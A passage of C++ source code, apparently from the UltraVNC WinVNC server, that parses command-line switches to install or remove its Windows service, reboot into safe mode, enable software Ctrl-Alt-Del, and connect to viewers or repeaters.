			Set_start_service_as_admin();
#ifdef CRASHRPT
			crUninstall();
#endif
			return 0;
		}

		if (strncmp(&szCmdLine[i], winvncInstallServiceHelper, strlen(winvncInstallServiceHelper)) == 0)
			{
				//Sleeps are realy needed, else runas fails...
				Sleep(3000);
				Set_install_service_as_admin();
#ifdef CRASHRPT
				crUninstall();
#endif
				return 0;
			}
		if (strncmp(&szCmdLine[i], winvncUnInstallServiceHelper, strlen(winvncUnInstallServiceHelper)) == 0)
			{
				Sleep(3000);
				Set_uninstall_service_as_admin();
#ifdef CRASHRPT
				crUninstall();
#endif
				return 0;
			}
		if (strncmp(&szCmdLine[i], winvncSoftwarecadHelper, strlen(winvncSoftwarecadHelper)) == 0)
			{
				Sleep(3000);
				Enable_softwareCAD_elevated();
#ifdef CRASHRPT
				crUninstall();
#endif
				return 0;
			}		 
		if (strncmp(&szCmdLine[i], winvncdelSoftwarecadHelper, strlen(winvncdelSoftwarecadHelper)) == 0)
			{
				Sleep(3000);
				delete_softwareCAD_elevated();
#ifdef CRASHRPT
				crUninstall();
#endif
				return 0;
			}
		if (strncmp(&szCmdLine[i], winvncRebootSafeHelper, strlen(winvncRebootSafeHelper)) == 0)
			{
				Sleep(3000);
				Reboot_in_safemode_elevated();
#ifdef CRASHRPT
				crUninstall();
#endif
				return 0;
			}

		if (strncmp(&szCmdLine[i], winvncRebootForceHelper, strlen(winvncRebootForceHelper)) == 0)
			{
				Sleep(3000);
				Reboot_with_force_reboot_elevated();
#ifdef CRASHRPT
				crUninstall();
#endif
				return 0;
			}

		if (strncmp(&szCmdLine[i], winvncSecurityEditorHelper, strlen(winvncSecurityEditorHelper)) == 0)
			{
				Sleep(3000);
				winvncSecurityEditorHelper_as_admin();
#ifdef CRASHRPT
				crUninstall();
#endif
				return 0;
			}
		if (strncmp(&szCmdLine[i], winvncSecurityEditor, strlen(winvncSecurityEditor)) == 0)
			{
			    typedef void (*vncEditSecurityFn) (HWND hwnd, HINSTANCE hInstance);
				vncEditSecurityFn vncEditSecurity = 0;
				char szCurrentDirl[MAX_PATH];
					if (GetModuleFileName(NULL, szCurrentDirl, MAX_PATH)) {
						char* p = strrchr(szCurrentDirl, '\\');
						*p = '\0';
						strcat (szCurrentDirl,"\\authSSP.dll");
					}
					HMODULE hModule = LoadLibrary(szCurrentDirl);
					if (hModule) {
						vncEditSecurity = (vncEditSecurityFn) GetProcAddress(hModule, "vncEditSecurity");
						HRESULT hr = CoInitialize(NULL);
						vncEditSecurity(NULL, hAppInstance);
						CoUninitialize();
						FreeLibrary(hModule);
					}
#ifdef CRASHRPT
					crUninstall();
#endif
				return 0;
			}

		if (strncmp(&szCmdLine[i], winvncSettings, strlen(winvncSettings)) == 0)
		{
			char mycommand[MAX_PATH];
			i+=strlen(winvncSettings);
			strcpy( mycommand, &(szCmdLine[i+1]));
			Real_settings(mycommand);
#ifdef CRASHRPT
			crUninstall();
#endif
			return 0;
		}
		
		if (strncmp(&szCmdLine[i], dsmpluginhelper, strlen(dsmpluginhelper)) == 0)
		{
			char mycommand[MAX_PATH];
			i += strlen(dsmpluginhelper);
			strcpy(mycommand, &(szCmdLine[i + 1]));
			Secure_Plugin_elevated(mycommand);
#ifdef CRASHRPT
			crUninstall();
#endif
			return 0;
		}

		if (strncmp(&szCmdLine[i], dsmplugininstance, strlen(dsmplugininstance)) == 0)
		{
			char mycommand[MAX_PATH];
			i += strlen(dsmplugininstance);
			strcpy(mycommand, &(szCmdLine[i + 1]));
			Secure_Plugin(mycommand);
#ifdef CRASHRPT
			crUninstall();
#endif
			return 0;
		}


		if (strncmp(&szCmdLine[i], winvncSoftwarecad, strlen(winvncSoftwarecad)) == 0)
		{
			Enable_softwareCAD();
#ifdef CRASHRPT
			crUninstall();
#endif
			return 0;
		}

		if (strncmp(&szCmdLine[i], winvncdelSoftwarecad, strlen(winvncdelSoftwarecad)) == 0)
		{
			delete_softwareCAD();
#ifdef CRASHRPT
			crUninstall();
#endif
			return 0;
		}

		if (strncmp(&szCmdLine[i], winvncRebootSafe, strlen(winvncRebootSafe)) == 0)
		{
			Reboot_in_safemode();
#ifdef CRASHRPT
			crUninstall();
#endif
			return 0;
		}

		if (strncmp(&szCmdLine[i], winvncRebootForce, strlen(winvncRebootForce)) == 0)
		{
			Reboot_with_force_reboot();
#ifdef CRASHRPT
			crUninstall();
#endif
			return 0;
		}

		if (strncmp(&szCmdLine[i], winvncStopservice, strlen(winvncStopservice)) == 0)
		{
			Real_stop_service();
#ifdef CRASHRPT
			crUninstall();
#endif
			return 0;
		}

		if (strncmp(&szCmdLine[i], winvncStartservice, strlen(winvncStartservice)) == 0)
		{
			Real_start_service();
#ifdef CRASHRPT
			crUninstall();
#endif
			return 0;
		}

		if (strncmp(&szCmdLine[i], winvncInstallService, strlen(winvncInstallService)) == 0)
			{
                // rest of command line service name, if provided.
                char *pServiceName = &szCmdLine[i];
                // skip over command switch, find next whitepace
                while (*pServiceName && !isspace(*(unsigned char*)pServiceName))
                    ++pServiceName;

                // skip past whitespace to service name
                while (*pServiceName && isspace(*(unsigned char*)pServiceName))
                    ++pServiceName;

                // strip off any quotes
                if (*pServiceName && *pServiceName == '\"')
                    ++pServiceName;

                if (*pServiceName)
                {
                    // look for trailing quote, if found, terminate the string there.
                    char *pQuote = pServiceName;
                    pQuote = strrchr(pServiceName, '\"');
                    if (pQuote)
                        *pQuote = 0;
                }
                // if a service name is supplied, and it differs except in case from
                // the default, use the supplied service name instead
                if (*pServiceName && (_strcmpi(pServiceName, service_name) != 0))
                {
                    strncpy(service_name, pServiceName, 256);
                    service_name[255] = 0;
                }
				install_service();
				Sleep(2000);
				char command[MAX_PATH + 32]; // 29 January 2008 jdp
                _snprintf(command, sizeof command, "net start \"%s\"", service_name);
				WinExec(command,SW_HIDE);
#ifdef CRASHRPT
				crUninstall();
#endif
				return 0;
			}
		if (strncmp(&szCmdLine[i], winvncUnInstallService, strlen(winvncUnInstallService)) == 0)
			{
				char command[MAX_PATH + 32]; // 29 January 2008 jdp
                // rest of command line service name, if provided.
                char *pServiceName = &szCmdLine[i];
                // skip over command switch, find next whitepace
                while (*pServiceName && !isspace(*(unsigned char*)pServiceName))
                    ++pServiceName;

                // skip past whitespace to service name
                while (*pServiceName && isspace(*(unsigned char*)pServiceName))
                    ++pServiceName;

                // strip off any quotes
                if (*pServiceName && *pServiceName == '\"')
                    ++pServiceName;

                if (*pServiceName)
                {
                    // look for trailing quote, if found, terminate the string there.
                    char *pQuote = pServiceName;
                    pQuote = strrchr(pServiceName, '\"');
                    if (pQuote)
                        *pQuote = 0;
                }

                if (*pServiceName && (_strcmpi(pServiceName, service_name) != 0))
                {
                    strncpy(service_name, pServiceName, 256);
                    service_name[255] = 0;
                }
                _snprintf(command, sizeof command, "net stop \"%s\"", service_name);
				WinExec(command,SW_HIDE);
				uninstall_service();
#ifdef CRASHRPT
				crUninstall();
#endif
				return 0;
			}

		if (strncmp(&szCmdLine[i], winvncRunService, strlen(winvncRunService)) == 0)
		{
			//Run as service
			if (!Myinit(hInstance)) return 0;
			fRunningFromExternalService = true;
			vncService::RunningFromExternalService(true);
			int returnvalue = WinVNCAppMain();
#ifdef CRASHRPT
			crUninstall();
#endif
			return returnvalue;
		}

		if (strncmp(&szCmdLine[i], winvncStartService, strlen(winvncStartService)) == 0)
		{
		start_service(szCmdLine);
#ifdef CRASHRPT
		crUninstall();
#endif
		return 0;
		}

		if (strncmp(&szCmdLine[i], winvncRunAsUserApp, strlen(winvncRunAsUserApp)) == 0)
		{
			// WinVNC is being run as a user-level program
			if (!Myinit(hInstance)) return 0;
			int returnvalue = WinVNCAppMain();
#ifdef CRASHRPT
			crUninstall();
#endif
			return returnvalue;
		}

		if (strncmp(&szCmdLine[i], winvncSCexit, strlen(winvncSCexit)) == 0)
		{
			SPECIAL_SC_EXIT=true;
			i+=strlen(winvncSCexit);
			continue;
		}

		if (strncmp(&szCmdLine[i], winvncSCprompt, strlen(winvncSCprompt)) == 0)
		{
			SPECIAL_SC_PROMPT=true;
			i+=strlen(winvncSCprompt);
			continue;
		}

		if (strncmp(&szCmdLine[i], winvncmulti, strlen(winvncmulti)) == 0)
		{
			multi=true;
			i+=strlen(winvncmulti);
			continue;
		}

		if (strncmp(&szCmdLine[i], winvnchttp, strlen(winvnchttp)) == 0)
		{
			G_HTTP=true;
			i+=strlen(winvnchttp);
			continue;
		}

		if (strncmp(&szCmdLine[i], winvncStopReconnect, strlen(winvncStopReconnect)) == 0)
		{
			i+=strlen(winvncStopReconnect);
			vncService::PostAddStopConnectClientAll();
			continue;
		}

		if (strncmp(&szCmdLine[i], winvncAutoReconnect, strlen(winvncAutoReconnect)) == 0)
		{
			// Note that this "autoreconnect" param MUST be BEFORE the "connect" one
			// on the command line !
			// wa@2005 -- added support for the AutoReconnectId
			i+=strlen(winvncAutoReconnect);
			Injected_autoreconnect=true;
			int start, end;
			char* pszId = NULL;
			start = i;
			// skip any spaces and grab the parameter
			while (szCmdLine[start] <= ' ' && szCmdLine[start] != 0) start++;

			if ( strncmp( &szCmdLine[start], winvncAutoReconnectId, strlen(winvncAutoReconnectId) ) == 0 )
			{
				end = start;
				while (szCmdLine[end] > ' ') end++;

				if (end - start > 0)
				{

					pszId = new char[end - start + 1];

					strncpy(pszId, &(szCmdLine[start]), end - start);
					pszId[end - start] = 0;
					pszId = _strupr(pszId);
				}
//multiple spaces between autoreconnect and id
				i = end;
			}// end of condition we found the ID: parameter

			// NOTE:  id must be NULL or the ID:???? (pointer will get deleted when message is processed)
			// We can not contact a runnning service, permissions, so we must store the settings
			// and process until the vncmenu has been started

			if (!vncService::PostAddAutoConnectClient( pszId ))
			{
				PostAddAutoConnectClient_bool=true;
				if (pszId==NULL)
				{
					PostAddAutoConnectClient_bool_null=true;
					PostAddAutoConnectClient_bool=false;
				}
				else
				{
					strcpy(pszId_char,pszId);
					//memory leak fix
					delete[] pszId; pszId = NULL;
				}
			}
			if (pszId != NULL) delete[] pszId; pszId = NULL;
			continue;
		}

		if ( strncmp( &szCmdLine[i], winvncReconnectId, strlen(winvncReconnectId) ) == 0 )
			{
				i+=strlen("-");
				int start, end;
				char* pszId = NULL;
				start = i;
				end = start;
				while (szCmdLine[end] > ' ') end++;
				if (end - start > 0)
				{
					pszId = new char[end - start + 1];
					if (pszId != 0)
					{
						strncpy(pszId, &(szCmdLine[start]), end - start);
						pszId[end - start] = 0;
						pszId = _strupr(pszId);
					}
				}
				i = end;
			if (!vncService::PostAddConnectClient( pszId ))
			{
				PostAddConnectClient_bool=true;
				if (pszId==NULL)
				{
					PostAddConnectClient_bool_null=true;
					PostAddConnectClient_bool=false;
				}
				else
				{
					strcpy(pszId_char,pszId);
					//memory leak fix
					delete[] pszId; pszId = NULL;
				}
				}
			if (pszId != NULL) delete[] pszId; pszId = NULL;
			continue;
		}

		if (strncmp(&szCmdLine[i], winvncConnect, strlen(winvncConnect)) == 0)
		{
			if (!Injected_autoreconnect)
			{
				vncService::PostAddStopConnectClient();
			}
			// Add a new client to an existing copy of winvnc
			i+=strlen(winvncConnect);

			// First, we have to parse the command line to get the filename to use
			int start, end;
			start=i;
			while (szCmdLine[start] <= ' ' && szCmdLine[start] != 0) start++;
			end = start;
			while (szCmdLine[end] > ' ') end++;

			// Was there a hostname (and optionally a port number) given?
			if (end-start > 0)
			{
				char *name = new char[end-start+1];
				if (name != 0) {
					strncpy(name, &(szCmdLine[start]), end-start);
					name[end-start] = 0;

					int port = INCOMING_PORT_OFFSET;
					char *portp = strchr(name, ':');
					if (portp) {
						*portp++ = '\0';
						if (*portp == ':') {
							port = atoi(++portp);	// Port number after "::"
						} else {
							port = atoi(portp);	// Display number after ":"
						}
					}
					vnclog.Print(LL_STATE, VNCLOG("test... %s %d\n"),name,port);
					strcpy_s(dnsname,name);
					VCard32 address = VSocket::Resolve(name);
					delete [] name;
					if (address != 0) {
						// Post the IP address to the server
						// We can not contact a runnning service, permissions, so we must store the settings
						// and process until the vncmenu has been started
						vnclog.Print(LL_INTERR, VNCLOG("PostAddNewClient III \n"));
						if (!vncService::PostAddNewClientInit(address, port))
						{
						PostAddNewClient_bool=true;
						port_int=port;
						address_vcard=address;
						}
					}
					else
					{
						//ask for host,port
						PostAddNewClient_bool=true;
						port_int=0;
						address_vcard=0;
						Sleep(2000);
						//Beep(200,1000);
						return 0;
					}
				}
				i=end;
				continue;
			}
			else
			{
				// Tell the server to show the Add New Client dialog
				// We can not contact a runnning service, permissions, so we must store the settings
				// and process until the vncmenu has been started
				vnclog.Print(LL_INTERR, VNCLOG("PostAddNewClient IIII\n"));
				if (!vncService::PostAddNewClient(0, 0))
				{
				PostAddNewClient_bool=true;
				port_int=0;
				address_vcard=0;
				}
			}
			continue;
		}

		//adzm 2009-06-20
		if (strncmp(&szCmdLine[i], winvncRepeater, strlen(winvncRepeater)) == 0)
		{
			// set the default repeater host
			i+=strlen(winvncRepeater);

			// First, we have to parse the command line to get the host to use
			int start, end;
			start=i;
			while (szCmdLine[start] <= ' ' && szCmdLine[start] != 0) start++;
			end = start;
			while (szCmdLine[end] > ' ') end++;

			// Was there a hostname (and optionally a port number) given?
			if (end-start > 0)
			{
				if (g_szRepeaterHost) {
					delete[] g_szRepeaterHost;
					g_szRepeaterHost = NULL;
				}
				g_szRepeaterHost = new char[end-start+1];
				if (g_szRepeaterHost != 0) {
					strncpy(g_szRepeaterHost, &(szCmdLine[start]), end-start);
					g_szRepeaterHost[end-start] = 0;

					// We can not contact a runnning service, permissions, so we must store the settings
					// and process until the vncmenu has been started
					vnclog.Print(LL_INTERR, VNCLOG("PostAddNewRepeaterClient I\n"));
					if (!vncService::PostAddNewRepeaterClient())
					{
						PostAddNewRepeaterClient_bool=true;
						port_int=0;
						address_vcard=0;
					}
				}
				i=end;
				continue;
			}
			else
			{
				/*
				// Tell the server to show the Add New Client dialog
				// We can not contact a runnning service, permissions, so we must store the settings
				// and process until the vncmenu has been started
				vnclog.Print(LL_INTERR, VNCLOG("PostAddNewClient IIII\n"));
				if (!vncService::PostAddNewClient(0, 0))
				{
				PostAddNewClient_bool=true;
				port_int=0;
				address_vcard=0;
				}
				*/
			}
			continue;
		}

		// Either the user gave the -help option or there is something odd on the cmd-line!

		// Show the usage dialog
		MessageBoxSecure(NULL, winvncUsageText, sz_ID_WINVNC_USAGE, MB_OK | MB_ICONINFORMATION);
		break;
	};

	// If no arguments were given then just run
	if (!argfound)
	{
		if (!Myinit(hInstance))
		{
#ifdef CRASHRPT
			crUninstall();
#endif
			return 0;
		}
		int returnvalue= WinVNCAppMain();
#ifdef CRASHRPT
		crUninstall();
#endif
		return returnvalue;
	}
#ifdef CRASHRPT
	crUninstall();
#endif
	return 0;
}